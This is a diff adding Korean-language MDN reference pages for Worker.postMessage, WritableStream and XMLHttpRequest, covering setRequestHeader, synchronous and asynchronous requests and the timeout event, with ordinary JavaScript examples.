worker로 전해 줄 객체;  이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 structured clone 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.
+
transferList {{optional_inline}}
+
An optional array of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent from and becomes available only to the worker it was sent to.
+
Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. null is not an acceptable value for the transferList.
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

The following code snippet shows the creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (first and second) have their values changed, {{event("change")}} events invoke postMessage() to send the value of both inputs to the current worker.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+ +

For a full example, see ourBasic dedicated worker example (run dedicated worker).

+ +
+

Note: postMessage() can only send a single object at once. As seen above, if you want to pass multiple values you can send an array.

+
+ +

Transfer Example

+ +

This example shows a Firefox add-on that transfers an ArrayBuffer from the main thread to the ChromeWorker, and then the ChromeWorker transfers it back to the main thread.

+ +

Main thread code:

+ +
var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('incoming message from worker, msg:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+
+ +

Worker code

+ +
self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+
+ +

Output logged

+ +
arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2
+ +

byteLength goes to 0 as it is transferred. To see a full working example of this Firefox demo add-on see here: GitHub :: ChromeWorker - demo-transfer-arraybuffer

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Internet Explorer does not support {{domxref("Transferable")}} objects.

+ +

See also

+ + diff --git a/files/ko/web/api/writablestream/index.html b/files/ko/web/api/writablestream/index.html new file mode 100644 index 0000000000..d4496f4ad2 --- /dev/null +++ b/files/ko/web/api/writablestream/index.html @@ -0,0 +1,144 @@ +--- +title: WritableStream +slug: Web/API/WritableStream +translation_of: Web/API/WritableStream +--- +

{{SeeCompatTable}}{{APIRef("Streams")}}

+ +

Streams APIWritableStream는 지정된 곳에 스트림 데이터를 writing하기 위한 싱크 추상 인터페이스입니다. 이 객체는 내장 백프레셔와 큐잉으로 구성되어 있다.

+ +

생성자

+ +
+
{{domxref("WritableStream.WritableStream", "WritableStream()")}}
+
새 WritableStream 오브젝트를 생성한다.
+
+ +

속성

+ +
+
{{domxref("WritableStream.locked")}} {{readonlyinline}}
+
WritableStream의 locked 여부를 boolean 값으로 반환한다. 
+
+ +

메소드

+ +
+
{{domxref("WritableStream.abort()")}}
+
스트림을 중단한다. 생산자에게 더 이상 쓰기 스트림을 사용할 수 없으며 에러 상태로 전한됨을 고지한다. 큐잉되어 있던 모든 쓰기 작업은 소실된다.
+
{{domxref("WritableStream.getWriter()")}}
+
새 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하고 스트림에 락을 건다. 스트림에 락이 걸린 동안에는 해제하기 전까지 다른 writer를 요청할 수 없다.
+
+ +

예시

+ +

아래 예시는 본 인터페이스의 몇 가지 기능을 소개합니다. 커스텀 콜백과 API를 통한 queuing strategy 값을 가지고 WritableStream을 생성하는 법을 보여줍니다. 그 후 생성된 스트림과 문자열을 전달하여 sendMessage()를 합니다. 함수 내부에선 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하는 스트림의 getWriter() 메소드를 호출합니다. 문자열 조각들을 각각 스트림에 쓰기 위해 forEach() 를 사용하구요. 마지막으로 문자열 조각과 스트림 성공/실패를 처리하기 위해 write()와 close()는 Promise를 반환합니다.

+ + + +
const list = document.querySelector('ul');
+
+function sendMessage(message, writableStream) {
+  // defaultWriter is of type WritableStreamDefaultWriter
+  const defaultWriter = writableStream.getWriter();
+  const encoder = new TextEncoder();
+  const encoded = encoder.encode(message, { stream: true });
+  encoded.forEach((chunk) => {
+    defaultWriter.ready
+      .then(() => {
+        return defaultWriter.write(chunk);
+      })
+      .then(() => {
+        console.log("Chunk written to sink.");
+      })
+      .catch((err) => {
+        console.log("Chunk error:", err);
+      });
+  });
+  // Call ready again to ensure that all chunks are written
+  //   before closing the writer.
+  defaultWriter.ready
+    .then(() => {
+      defaultWriter.close();
+    })
+    .then(() => {
+      console.log("All chunks written");
+    })
+    .catch((err) => {
+      console.log("Stream error:", err);
+    });
+}
+
+const decoder = new TextDecoder("utf-8");
+const queuingStrategy = new CountQueuingStrategy({ highWaterMark: 1 });
+let result = "";
+const writableStream = new WritableStream({
+  // Implement the sink
+  write(chunk) {
+    return new Promise((resolve, reject) => {
+      var buffer = new ArrayBuffer(2);
+      var view = new Uint16Array(buffer);
+      view[0] = chunk;
+      var decoded = decoder.decode(view, { stream: true });
+      var listItem = document.createElement('li');
+      listItem.textContent = "Chunk decoded: " + decoded;
+      list.appendChild(listItem);
+      result += decoded;
+      resolve();
+    });
+  },
+  close() {
+    var listItem = document.createElement('li');
+    listItem.textContent = "[MESSAGE RECEIVED] " + result;
+    list.appendChild(listItem);
+  },
+  abort(err) {
+    console.log("Sink error:", err);
+  }
+}, queuingStrategy);
+
+sendMessage("Hello, world.", writableStream);
+ +

Simple writer example에서 전체 코드를 볼 수 있습니다.

+ +

백프레셔(배압)

+ +

API 내부에서 백프레셔가 어떻게 구현되어 있는지에 따라 코드가 보기에 영 깔끔하지 않을 수 있습니다. 세 가지 관점에서 백프레셔가 어떻게 구현되어 있는지 알아봅시다.

+ + + +

스펙

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#ws-class','WritableStream')}}{{Spec2('Streams')}}최초 정의.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.WritableStream")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/xmlhttprequest/index.html b/files/ko/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..43437969b0 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/index.html @@ -0,0 +1,194 @@ +--- +title: XMLHttpRequest +slug: Web/API/XMLHttpRequest +tags: + - AJAX + - API + - HTTP + - XHR + - XMLHttpRequest + - 레퍼런스 + - 웹 + - 인터페이스 + - 통신 +translation_of: Web/API/XMLHttpRequest +--- +

{{DefaultAPISidebar("XMLHttpRequest")}}
+ XMLHttpRequest(XHR) 객체는 서버와 상호작용하기 위하여 사용됩니다. 전체 페이지의 새로고침없이도 URL 로부터 데이터를 받아올 수 있습니다. 이는 웹 페이지가 사용자가 하고 있는 것을 방해하지 않으면서 페이지의 일부를 업데이트할 수 있도록 해줍니다. XMLHttpRequest 는 {{Glossary("AJAX")}} 프로그래밍에 주로 사용됩니다.

+ +

{{InheritanceDiagram(650, 150)}}

+ +

XMLHttpRequest 는 이름으로만 봐서는 XML 만 받아올 수 있을 것 같아 보이지만, 모든 종류의 데이터를 받아오는데 사용할 수 있습니다. 또한 HTTP 이외의 프로토콜도 지원합니다(file 과 ftp 포함).

+ +

통신을 통해 서버로부터 이벤트나 메시지 데이터를 받아야 한다면, {{domxref("EventSource")}} 를 통한 server-sent events 사용을 고려하세요. 완전 양방향 통신을 해야 한다면 웹 소켓이 더 나은 선택일 수 있습니다.

+ +

생성자

+ +
+
{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}
+
생성자는 XMLHttpRequest 를 초기화합니다. 다른 모든 메소드 호출이전에 호출되어야 합니다.
+
+ +

속성

+ +

이 인터페이스는 {{domxref("XMLHttpRequestEventTarget")}} 과 {{domxref("EventTarget")}} 의 속성도 상속합니다.

+ +
+
{{domxref("XMLHttpRequest.onreadystatechange")}}
+
readyState 어트리뷰트가 변경될때마다 호출되는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}
+
요청의 상태를 unsigned short 로 반환합니다.
+
{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}
+
응답 엔티티 바디를 갖는하는 {{domxref("XMLHttpRequest.responseType")}} 의 값에 따라 {{jsxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript 객체, 또는 {{domxref("DOMString")}} 을 반환합니다.
+
{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}
+
요청에 대한 응답을 텍스트로 갖는 {{domxref("DOMString")}} 을 반환합니다. 요청이 성공하지 못했거나 아직 전송되지 않았을 경우 null 을 반환합니다.
+
{{domxref("XMLHttpRequest.responseType")}}
+
응답 타입을 정의하는 열거형 값입니다.
+
{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}
+
응답의 연속된 URL 을 반환합니다. URL 이 null 인 경우 빈 문자열을 반환합니다.
+
{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}
+
요청에 대한 응답을 갖는 {{domxref("Document")}} 를 반환합니다. 요청이 성공하지 못했거나, 아직 전송되지 않았거나, XML 또는 HTML 로 파싱할 수 없는 경우 null 을 반환합니다. workers 에서는 사용이 불가합니다.
+
{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}
+
요청의 응답 상태를 갖는 unsigned short 를 반환합니다.
+
{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}
+
HTTP 서버에 의해 반환된 응답 문자열을 갖는 {{domxref("DOMString")}} 을 반환합니다. {{domxref("XMLHTTPRequest.status")}} 와는 다르게, 응답 메시지의 전체 텍스트를 갖습니다(예, "200 OK").
+
+ +
+

노트: HTTP/2 명세(8.1.2.4 Response Pseudo-Header Fields)에 따르면, HTTP/2 는 HTTP/1.1 상태 라인에 포함된 버전이나 원인 문구를 전달하는 방법을 정의하지 않습니다.

+
+ +
+
{{domxref("XMLHttpRequest.timeout")}}
+
요청이 자동으로 종료될때까지 걸린 시간을 밀리초 단위로 나타내는 unsigned long 입니다.
+
{{domxref("XMLHttpRequestEventTarget.ontimeout")}}
+
요청 시간 초과때마다 호출되는 {{domxref("EventHandler")}} 입니다. {{gecko_minversion_inline("12.0")}}
+
{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}
+
업로드 과정을 나타내는 {{domxref("XMLHttpRequestUpload")}} 입니다.
+
{{domxref("XMLHttpRequest.withCredentials")}}
+
사이트 간 Access-Control 요청이 쿠키나 인증 헤더와 같은 자격 증명을 사용해야하는지 여부를 나타내는 {{domxref("Boolean")}} 입니다.
+
+ +

비표준 속성

+ +
+
{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}
+
{{Interface("nsIChannel")}} 입니다. 요청을 수행할 때 객체에 의해 사용된 채널입니다.
+
{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}
+
Boolean 입니다. true 일 경우, 요청이 쿠키나 인증 헤더 없이 전송됩니다.
+
{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}
+
Boolean 입니다. true 일 경우, 요청에대해 동일 출처 정책(same origin policy)이 강제되지 않습니다.
+
{{domxref("XMLHttpRequest.mozBackgroundRequest")}}
+
 Boolean 입니다. 객체가 백그라운드 서비스 요청을 나타내는지 여부를 표시합니다.
+
{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}
+
{{jsxref("ArrayBuffer")}}. 요청에 대한 응답입니다. 타입이 지정된 JavaScript 배열입니다.
+
{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}
+
This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.
+ 대신 Server-Sent Events, 웹 소켓, 또는 프로그레스 이벤트의 responseText 를 사용하시기 바랍니다.
+
+ +

이벤트 핸들러

+ +

XMLHttpRequest 인스턴스의 속성으로써 onreadystatechange 는 모든 브라우저에서 지원됩니다.

+ +

그 이후, 많은 부가적인 이벤트 핸들러가 다양한 브라우저에서 구현되었습니다(onloadonerroronprogress, 등등.). XMLHttpRequest 사용하기 글을 확인하세요.

+ +

Firefox 를 포함해, 더 최신 브라우저는 on* 속성을 핸들러 함수로 설정하는것 뿐만 아니라 표준 {{domxref("EventTarget.addEventListener", "addEventListener()")}} API 를 통해 XMLHttpRequest 이벤트 리스닝도 지원합니다.

+ +

메소드

+ +
+
{{domxref("XMLHttpRequest.abort()")}}
+
이미 전송된 요청을 중지합니다.
+
{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}
+
모든 응답 헤더를 {{Glossary("CRLF")}} 로 구분한 문자열로 반환합니다. 응답을 받지 않은 경우 null 입니다.
+
{{domxref("XMLHttpRequest.getResponseHeader()")}}
+
지정한 헤더의 텍스트를 갖는 문자열을 반환합니다. 응답을 아직 받지 못했거나 응답에 헤더가 존재하지 않을 경우 null 입니다.
+
{{domxref("XMLHttpRequest.open()")}}
+
요청을 초기화합니다. 이 메소드는 네이티브 코드로부터의 요청을 초기화하기 위해 JavaScript 코드에 의해 사용됩니다. 대신 openRequest() 를 사용하세요.
+
{{domxref("XMLHttpRequest.overrideMimeType()")}}
+
서버에의해 반환된 MIME 타입을 오버라이드합니다.
+
{{domxref("XMLHttpRequest.send()")}}
+
요청을 보냅니다. 요청이 비동기인 경우(기본값), 이 메소드는 요청이 보내진 즉시 반환합니다.
+
{{domxref("XMLHttpRequest.setRequestHeader()")}}
+
HTTP 요청 헤더의 값을 설정합니다. open() 후, send() 전에 setRequestHeader() 를 호출해야합니다.
+
+ +

비표준 메소드

+ +
+
{{domxref("XMLHttpRequest.init()")}}
+
C++ 코드에서 사용할 객체를 초기화합니다.
+
+ +
+

주의: 이 메소드는 JavaScript 에서 호출되면 안 됩니다.

+
+ +
+
{{domxref("XMLHttpRequest.openRequest()")}}
+
요청을 초기화합니다. 이 메소드는 JavaScript 코부로부터의 요청을 초기화하기위해 네이티브 코드에서 사용됩니다. 대신 open() 을 사용하세요. open() 에 대한 문서를 확인하세요.
+
{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}
+
바이너리 데이터를 보내는 send() 메소드의 다른 방식입니다.
+
+ +

Events

+ +
+
{{domxref("XMLHttpRequest/abort_event", "abort")}}
+
예를 들어 프로그램이 {{domxref("XMLHttpRequest.abort()")}}를 호출해서 요청이 중단되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/error_event", "error")}}
+
요청에 에러가 생기면 발생한다.{{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/load_event", "load")}}
+
{{domxref("XMLHttpRequest")}} 처리 과정이 성공적으로 완료되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onload", "onload")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/loadend_event", "loadend")}}
+
요청이 성공이든 ({{domxref("XMLHttpRequest/load_event", "load")}} 다음) 실패든 ({{domxref("XMLHttpRequest/abort_event", "abort")}} 또는 {{domxref("XMLHttpRequest/error_event", "error")}} 다음) 완료되면 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}
+
요청이 데이터를 받기 시작하면 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/progress_event", "progress")}}
+
요청이 데이터를 받는 동안 주기적으로 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} 속성을 통해서도 가능하다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Live standard, latest version
+ +

브라우저 호환성

+ + + +

{{Compat("api.XMLHttpRequest")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/xmlhttprequest/setrequestheader/index.html b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html new file mode 100644 index 0000000000..c7c595e1f1 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html @@ -0,0 +1,55 @@ +--- +title: XMLHttpRequest.setRequestHeader() +slug: Web/API/XMLHttpRequest/setRequestHeader +translation_of: Web/API/XMLHttpRequest/setRequestHeader +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.setRequestHeader() 메소드는 HTTP요청 헤더의 값을 설정합니다. 반드시 setRequestHeader()를 open()뒤에 호출하여야 하며, 또한 send()가 호출되기 전에 호출해야 합니다. 만약 이 메소드가 같은 헤더에 대하여 여러번 호출이 되면, 그 값은 단일 요청 헤더에 병합됩니다.

+ +

만약 이것을 이용해 {{HTTPHeader("Accept")}} 헤더를 설정하지 않으면, {{domxref("XMLHttpRequest.send", "send()")}}가 호출될 때 Accept 헤더가 */*와 함께 전송됩니다.

+ +

보안상의 이유로, 어떤 헤더는 오직 사용자 에이전트에 의해서만 관리될 수 있습니다. 이 헤더는 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}와 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}를 포함합니다.

+ +
+

여러분의 필드에 대해서, 상호교차(cross-domain) 요청시 "not allowed by Access-Control-Allow-Headers in preflight response" Exception이 나타날 수 있습니다. 이런 경우, "Access-Control-Allow-Headers"를 서버 측 응답 헤더에 설정하면 됩니다.

+
+ +

구문

+ +
myReq.setRequestHeader(header, value);
+
+ +

매개변수

+ +
+
header
+
설정 될 값을 가진 헤더의 이름
+
value
+
헤더의 본문(body)에 설정될 값
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

브라우저 호환성

+ +
{{Compat("api.XMLHttpRequest.setRequestHeader")}}
+ +

더 보기

+ +

Using XMLHttpRequest

diff --git a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html new file mode 100644 index 0000000000..8c57920201 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html @@ -0,0 +1,231 @@ +--- +title: Synchronous and asynchronous requests +slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +--- +

XMLHttpRequest 는 동기적 통신과 비동기적 통신을 모두 지원합니다.  하지만, 일반적으로는 성능상의 이유로 인하여 비동기적 요청이 동기적 요청보다 우선시 되어야 합니다. 

+ +

동기 요청은 코드 실행을 차단하여 화면에 “얼어붙어” 버리고 응답하지 없는 사용자 경험을 만듭니다.

+ +

Asynchronous request

+ +

만약 XMLHttpRequest을 비동기적으로 사용한다면, 데이터가 도착했을때 콜백을 받게 될겁니다. 이렇게하면 요청이 처리되는 동안 브라우저는 여전히 정상적으로 동작 할 수 있습니다.

+ +

Example: send a file to the console log

+ +

다음은 비동기적 XMLHttpRequest의 간단한 사용법입니다. 

+ +
var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); 
+ +

두번째 줄에서 세번째 파라미터가 true 로 지정되면 요청이 비동기적으로 처리 된다는 선언입니다.

+ +

Line 3 creates an event handler function object and assigns it to the request's onload attribute. This handler looks at the request's readyState to see if the transaction is complete in line 4 and if it is, and the HTTP status is 200, dumps the received content. If an error occurred, an error message is displayed.

+ +

15번째 줄에서 실제 요청이 시작됩니다. 콜백 루틴은 이 요청의 상태가 변경 될 때 마다 호출됩니다.

+ +

Example: creating a standard function to read external files

+ +

In some cases, you must read many external files. This is a standard function which uses the XMLHttpRequest object asynchronously in order to switch the content of the read file to a specified listener.

+ +
function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+
+ +

Usage:

+ +
function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+
+ +

The signature of the utility function loadFile declares (i) a target URL to read (via HTTP GET), (ii) a function to execute on successful completion of the XHR operation, and (iii) an arbitrary list of additional arguments that are "passed through" the XHR object to the success callback function.

+ +

Line 1 declares a function invoked when the XHR operation completes successfully. It, in turn, invokes the callback function specified in the invocation of the loadFile function (in this case, the function showMessage) which has been assigned to a property of the XHR object (Line 11). The additional arguments (if any) supplied to the invocation of function loadFile are "applied" to the running of the callback function.

+ +

Line 5 declares a function invoked when the XHR operation fails to complete successfully.

+ +

Line 11 stores on the XHR object the success callback function is given as the second argument to loadFile.

+ +

Line 12 slices the arguments array given to the invocation of loadFile. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable xhr, passed to the success callback function xhrSuccess., and ultimately supplied to the callback function (in this case, showMessage) which is invoked by function xhrSuccess.

+ +

Line 15 specifies true for its third parameter to indicate that the request should be handled asynchronously.

+ +

Line 16 actually initiates the request.

+ +

Example: using a timeout

+ +

You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the timeout property on the XMLHttpRequest object, as shown in the code below:

+ +
function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}
+ +

Notice the addition of code to handle the "timeout" event by setting the ontimeout handler.

+ +

Usage:

+ +
function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+
+ +

Here, we're specifying a timeout of 2000 ms.

+ +
+

Note: Support for timeout was added in {{Gecko("12.0")}}.

+
+ +

Synchronous request

+ +
Note: Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.
+ +

Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.

+ +

All new XHR features such as timeout or abort aren't allowed for synchronous XHR. Doing so would invoke InvalidAccessError.

+ +

Example: HTTP synchronous request

+ +

This example demonstrates how to make a simple synchronous request.

+ +
var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+
+ +

Line 3 sends the request. The null parameter indicates that no body content is needed for the GET request.

+ +

Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.

+ +

Example: Synchronous HTTP request from a Worker

+ +

One of the few cases in which a synchronous request does not usually block execution is the use of XMLHttpRequest within a Worker.

+ +

example.html (the main page):

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+</script>
+</head>
+<body></body>
+</html>
+
+ +

myFile.txt (the target of the synchronous XMLHttpRequest invocation):

+ +
Hello World!!
+
+ +

myTask.js (the Worker):

+ +
self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+
+ +
Note: The effect, because of the use of the Worker, is however asynchronous.
+ +

It could be useful in order to interact in the background with the server or to preload some content. See Using web workers for examples and details.

+ +

Adapting Sync XHR usecases to the Beacon API

+ +

There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the window.onunload and window.onbeforeunload events. You should consider using the fetch API with keepalive flag. When fetch with keepalive isn't available, you can consider using the navigator.sendBeacon API can support these use cases typically while delivering a good UX.

+ +

The following example (from the sendBeacon docs) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+
+ +

Using the sendBeacon() method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, without delaying the unload or affecting the performance of the next navigation.

+ +

The following example shows a theoretical analytics code pattern that submits data to a server by using the sendBeacon() method.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/xmlhttprequest/timeout/index.html b/files/ko/web/api/xmlhttprequest/timeout/index.html new file mode 100644 index 0000000000..4ecc599f9d --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/timeout/index.html @@ -0,0 +1,123 @@ +--- +title: timeout +slug: Web/API/XMLHttpRequest/timeout +translation_of: Web/API/XMLHttpRequest/timeout_event +--- +
+

timeout 이벤트는 미리 설정한 시간이 만료되어 진행이 종료되면 시작합니다.

+
+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Target objects{{domxref("XMLHttpRequest")}}
Interface{{domxref("ProgressEvent")}}
+ +

Examples

+ +
var client = new XMLHttpRequest();
+client.open("GET", "http://www.example.org/example.txt");
+client.ontimeout = function(e) {
+  console.error("Timeout!!");
+}
+client.send();
+ +

Inheritance

+ +

timeout 이벤트는 {{domxref("Event")}}에서 상속받은 {{domxref("ProgressEvent")}} 인터페이스를 구현합니다. 이 인터페이스에 선언된 속성(property)과 메서드를 사용할 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
